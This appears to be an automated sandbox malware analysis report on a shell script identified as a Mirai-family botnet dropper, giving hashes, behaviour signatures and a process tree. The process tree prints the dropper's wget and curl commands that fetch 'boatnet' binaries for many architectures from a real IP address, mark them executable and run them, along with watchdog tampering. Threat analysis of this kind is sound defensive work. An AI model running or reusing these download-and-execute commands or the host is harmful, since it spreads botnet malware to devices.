Analysis
-
max time kernel
149s -
max time network
150s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
23-12-2024 05:05
Static task
static1
Behavioral task
behavioral1
Sample
ohshit.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
ohshit.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
ohshit.sh
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral4
Sample
ohshit.sh
Resource
debian9-mipsel-20240226-en
General
-
Target
ohshit.sh
-
Size
3KB
-
MD5
e0ccd217979419469e913cbef10872f3
-
SHA1
6bbef022dcf450af81bee90522e4c82069c84064
-
SHA256
288bf21e07a5cc2a9f12c856ed829b9266878621c823542150ee74e961cc5d71
-
SHA512
38402719e384396071ab1f779eb0d67a55570ecfb04018e47cafdfd73ce04984e15c0d2942b446cee5652a449e22a8690812dbe5fd232736cb8a3939531255ce
Malware Config
Extracted
mirai
LZRD
Signatures
-
Mirai family
-
File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1510 chmod 1518 chmod 1648 chmod 1656 chmod 1672 chmod 1680 chmod 1502 chmod 1534 chmod 1664 chmod 1544 chmod 1556 chmod 1566 chmod 1494 chmod 1526 chmod 1578 chmod -
Executes dropped EXE 15 IoCs
ioc pid Process /tmp/WTF 1495 WTF /tmp/WTF 1503 WTF /tmp/WTF 1511 WTF /tmp/WTF 1519 WTF /tmp/WTF 1527 WTF /tmp/WTF 1535 WTF /tmp/WTF 1545 WTF /tmp/WTF 1557 WTF /tmp/WTF 1567 WTF /tmp/WTF 1579 WTF /tmp/WTF 1649 WTF /tmp/WTF 1657 WTF /tmp/WTF 1665 WTF /tmp/WTF 1673 WTF /tmp/WTF 1681 WTF -
Modifies Watchdog functionality 1 TTPs 30 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF -
Enumerates running processes
Discovers information about currently running processes on the system
-
Writes file to system bin folder 30 IoCs
description ioc Process File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF -
resource yara_rule behavioral1/files/fstream-1.dat upx -
description ioc Process File opened for reading /proc/1225/cmdline WTF File opened for reading /proc/754/cmdline WTF File opened for reading /proc/546/cmdline WTF File opened for reading /proc/1140/cmdline WTF File opened for reading /proc/1560/cmdline WTF File opened for reading /proc/1636/cmdline WTF File opened for reading /proc/1686/cmdline WTF File opened for reading /proc/1717/cmdline WTF File opened for reading /proc/1140/cmdline WTF File opened for reading /proc/1137/cmdline WTF File opened for reading /proc/1307/cmdline WTF File opened for reading /proc/490/cmdline WTF File opened for reading /proc/1123/cmdline WTF File opened for reading /proc/1704/cmdline WTF File opened for reading /proc/1699/cmdline WTF File opened for reading /proc/1738/cmdline WTF File opened for reading /proc/1217/cmdline WTF File opened for reading /proc/980/cmdline WTF File opened for reading /proc/1242/cmdline WTF File opened for reading /proc/1146/cmdline WTF File opened for reading /proc/1496/cmdline WTF File opened for reading /proc/1689/cmdline WTF File opened for reading /proc/1464/cmdline WTF File opened for reading /proc/1528/cmdline WTF File opened for reading /proc/1580/cmdline WTF File opened for reading /proc/1737/cmdline WTF File opened for reading /proc/1102/cmdline WTF File opened for reading /proc/1174/cmdline WTF File opened for reading /proc/1694/cmdline WTF File opened for reading /proc/1704/cmdline WTF File opened for reading /proc/1729/cmdline WTF File opened for reading /proc/1734/cmdline WTF File opened for reading /proc/1050/cmdline WTF File opened for reading /proc/1058/cmdline WTF File opened for reading /proc/1504/cmdline WTF File opened for reading /proc/1598/cmdline WTF File opened for reading /proc/1643/cmdline WTF File opened for reading /proc/1731/cmdline WTF File opened for reading /proc/1512/cmdline WTF File opened for reading /proc/1489/cmdline WTF File opened for reading /proc/1629/cmdline WTF File opened for reading /proc/1064/cmdline WTF File opened for reading /proc/1484/cmdline WTF File opened for reading /proc/1701/cmdline WTF File opened for reading /proc/1717/cmdline WTF File opened for reading /proc/635/cmdline WTF File opened for reading /proc/1184/cmdline WTF File opened for reading /proc/1127/cmdline WTF File opened for reading /proc/1242/cmdline WTF File opened for reading /proc/1731/cmdline WTF File opened for reading /proc/1366/cmdline WTF File opened for reading /proc/1489/cmdline WTF File opened for reading /proc/1639/cmdline WTF File opened for reading /proc/1489/cmdline WTF File opened for reading /proc/1709/cmdline WTF File opened for reading /proc/1688/cmdline WTF File opened for reading /proc/1165/cmdline WTF File opened for reading /proc/1588/cmdline WTF File opened for reading /proc/1711/cmdline WTF File opened for reading /proc/1734/cmdline WTF File opened for reading /proc/1731/cmdline WTF File opened for reading /proc/1512/cmdline WTF File opened for reading /proc/598/cmdline WTF File opened for reading /proc/1590/cmdline WTF -
System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1499 wget 1500 curl -
Writes file to tmp directory 28 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/boatnet.arc wget File opened for modification /tmp/boatnet.x86_64 curl File opened for modification /tmp/boatnet.arm5 wget File opened for modification /tmp/boatnet.sh4 wget File opened for modification /tmp/boatnet.mips wget File opened for modification /tmp/boatnet.arm curl File opened for modification /tmp/boatnet.arm6 curl File opened for modification /tmp/boatnet.m68k wget File opened for modification /tmp/boatnet.m68k curl File opened for modification /tmp/boatnet.ppc curl File opened for modification /tmp/boatnet.spc curl File opened for modification /tmp/boatnet.x86 curl File opened for modification /tmp/boatnet.i468 curl File opened for modification /tmp/boatnet.i686 curl File opened for modification /tmp/boatnet.arm6 wget File opened for modification /tmp/boatnet.mips curl File opened for modification /tmp/boatnet.mpsl wget File opened for modification /tmp/boatnet.arm5 curl File opened for modification /tmp/boatnet.spc wget File opened for modification /tmp/WTF ohshit.sh File opened for modification /tmp/boatnet.arm wget File opened for modification /tmp/boatnet.arm7 curl File opened for modification /tmp/boatnet.ppc wget File opened for modification /tmp/boatnet.x86 wget File opened for modification /tmp/boatnet.arc curl File opened for modification /tmp/boatnet.mpsl curl File opened for modification /tmp/boatnet.arm7 wget File opened for modification /tmp/boatnet.sh4 curl
Processes
-
/tmp/ohshit.sh/tmp/ohshit.sh1⤵
- Writes file to tmp directory
PID:1486 -
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.x862⤵
- Writes file to tmp directory
PID:1487
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.x862⤵
- Writes file to tmp directory
PID:1492
-
-
/bin/catcat boatnet.x862⤵PID:1493
-
-
/bin/chmodchmod +x boatnet.x86 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-6G729x systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-UgEp34 WTF2⤵
- File and Directory Permissions Modification
PID:1494
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1495
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1499
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1500
-
-
/bin/chmodchmod +x boatnet.mips boatnet.x86 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-6G729x systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-UgEp34 WTF2⤵
- File and Directory Permissions Modification
PID:1502
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1503
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.arc2⤵
- Writes file to tmp directory
PID:1507
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.arc2⤵
- Writes file to tmp directory
PID:1508
-
-
/bin/chmodchmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-6G729x systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-UgEp34 WTF2⤵
- File and Directory Permissions Modification
PID:1510
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1511
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.i4682⤵PID:1515
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.i4682⤵
- Writes file to tmp directory
PID:1516
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-6G729x systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-UgEp34 WTF2⤵
- File and Directory Permissions Modification
PID:1518
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1519
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.i6862⤵PID:1523
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.i6862⤵
- Writes file to tmp directory
PID:1524
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-6G729x systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-UgEp34 WTF2⤵
- File and Directory Permissions Modification
PID:1526
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1527
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.x86_642⤵PID:1531
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.x86_642⤵
- Writes file to tmp directory
PID:1532
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-6G729x systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-UgEp34 WTF2⤵
- File and Directory Permissions Modification
PID:1534
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1535
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.mpsl2⤵
- Writes file to tmp directory
PID:1539
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.mpsl2⤵
- Writes file to tmp directory
PID:1540
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-UgEp34 WTF2⤵
- File and Directory Permissions Modification
PID:1544
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1545
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.arm2⤵
- Writes file to tmp directory
PID:1549
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm2⤵
- Writes file to tmp directory
PID:1554
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-VOEMpB systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-UgEp34 WTF2⤵
- File and Directory Permissions Modification
PID:1556
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1557
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.arm52⤵
- Writes file to tmp directory
PID:1561
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm52⤵
- Writes file to tmp directory
PID:1564
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-UgEp34 WTF2⤵
- File and Directory Permissions Modification
PID:1566
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1567
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.arm62⤵
- Writes file to tmp directory
PID:1571
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm62⤵
- Writes file to tmp directory
PID:1576
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-xTGJtC systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-UgEp34 WTF2⤵
- File and Directory Permissions Modification
PID:1578
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1579
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.arm72⤵
- Writes file to tmp directory
PID:1583
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm72⤵
- Writes file to tmp directory
PID:1646
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc WTF2⤵
- File and Directory Permissions Modification
PID:1648
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1649
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.ppc2⤵
- Writes file to tmp directory
PID:1653
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.ppc2⤵
- Writes file to tmp directory
PID:1654
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc WTF2⤵
- File and Directory Permissions Modification
PID:1656
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1657
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.spc2⤵
- Writes file to tmp directory
PID:1661
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.spc2⤵
- Writes file to tmp directory
PID:1662
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc WTF2⤵
- File and Directory Permissions Modification
PID:1664
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1665
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.m68k2⤵
- Writes file to tmp directory
PID:1669
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.m68k2⤵
- Writes file to tmp directory
PID:1670
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc WTF2⤵
- File and Directory Permissions Modification
PID:1672
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1673
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.sh42⤵
- Writes file to tmp directory
PID:1677
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.sh42⤵
- Writes file to tmp directory
PID:1678
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc WTF2⤵
- File and Directory Permissions Modification
PID:1680
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1681
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
20KB
MD5cfdee595514f89c9e1ca4c3c26837bb6
SHA1726f957189f0ce2da9008987aaa7f51453ede884
SHA2564940c3107a34d4b65f81e5e5e7a54f31fce9417fe74d18dd6e6b104d07197a3d
SHA51207cd565d04eeef92d3bf0613413d2c63bc045d6093bb048118b3f80254701c9aaef7dac444dc39ced7c2297754d7dbe1da4f808a6e2e87727f9272b436fea226